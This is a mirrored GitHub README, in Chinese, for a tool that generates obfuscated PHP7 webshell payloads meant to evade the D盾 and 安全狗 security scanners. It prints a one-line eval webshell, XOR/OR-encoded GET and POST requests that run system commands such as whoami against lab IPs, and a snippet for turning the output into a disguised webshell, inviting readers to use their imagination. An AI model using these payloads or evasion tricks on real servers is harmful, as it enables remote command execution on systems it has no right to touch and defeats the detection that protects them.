Giter VIP home page Giter VIP logo

php7_webshellpayload's Introduction

前言

复习PHP命令执行,免杀是躲不掉的;所以看了很多巨佬的干货后,总结了下经验,写了这么一个工具

第一次发GitHub....说明文档存在缺陷或工具存在BUG请及时提出~

由于用到的冷门Py包太多,避免环境问题就直接打包成了EXE,直接运行就好(非常幼稚的程序)

结果

合理使用工具生成的Payload,是能过最新的D盾和安全狗的

image-20211123144015380

功能

生成常规字符串,但是由非敏感字符、非边界符与非字母经过异或、或、与、取反运算后得到;方便你进行各种*操作~

小Tips:

PHP5的免杀十分灵活,在此不做多解释,参考链接全都是。

PHP7重点在于对$_GET等这类极度敏感的变量隐藏,而不是函数的隐藏(也没有必要)

函数执行基本围绕:

(可变函数名)(参数)
${可变函数名}[参数]
${可变函数名}{参数}
...
你当然可以使用注释提取,本地变量注册等精湛技艺,或者安心找更冷门的回调函数...

一个小示例,测试马

<?php
eval($_GET['cmd']);
?>

然后可以用工具根据你输入的命令与参数,生成混淆后的形参

http://192.168.85.139/?cmd=${("%5E%5E%40%0B"^"%01%19%05_")}{%ff}(("%04"|"%60").("%60"|"%09").("%12"|"%60"));&%ff=system

实际上PHP执行的命令就是

eval(system(dir);)

image-20211123160641617

同时你完全可以把它改成一个马~比如:

$a=urldecode("%7B%7B%5C_")^urldecode("%24%3C%19%0B");
$b=${$a}{'0xff'};
eval("\t".$b);

使用注意


A模式根据你的命令与参数生成完整的混淆参数,B模式单纯对某个字符串进行混淆


长格式类似

('aaa'^'bbb')

短格式类似

('a'^'b').('b'^'c')

取反必须为not~


由于全随机性异或选取(不可避免),会导致一定程度的错误生成;所以在你正式使用之前请务必本地测试效果后再用!


选择下标从1开始


最后,因为时间匆忙没有做完美的异常处理,一旦造成任何错误(比如只有18种但你输了20)请强制退出再重开-=-

示例

(具体改成什么样的马请发挥你的想象,嘿嘿)

还是这个测试马

<?php
eval($_GET['cmd']);
?>

之前介绍了GET方法,假如要使用POST呢,比如要执行system(whoami)

生成这个

${("%5E%5E4-/"^"%01%0E%7B~%7B")}{%ff}(("7"|"%60").("%60"|"%08").("/"|"%60").("%21"|"%40").("%60"|"%0D").("%60"|"%09"));&%ff=system

image-20211123215215046

然后改成这样,通过BP发包

POST /?cmd=${("%5E%5E4-/"^"%01%0E%7B~%7B")}{%ff}(("7"|"%60").("%60"|"%08").("/"|"%60").("%21"|"%40").("%60"|"%0D").("%60"|"%09")); HTTP/1.1
Host: 192.168.85.128
...
Content-Length: 10

%ff=system

命令执行成功

image-20211123220213671

参考链接

独特的免杀思路

PHP7后的免杀思路

较全的PHP5、PHP7免杀浅谈

国光的PHPWebshell免杀总结

Windows与Linux的Apache安装

P神的无字母数字WebShell

P神的无字母数字Webshell续

还有一些博客在查阅资料时疏于记录,但同样给予了重大改进;在此表达真挚的感谢!

php7_webshellpayload's People

Contributors

fi3wey avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.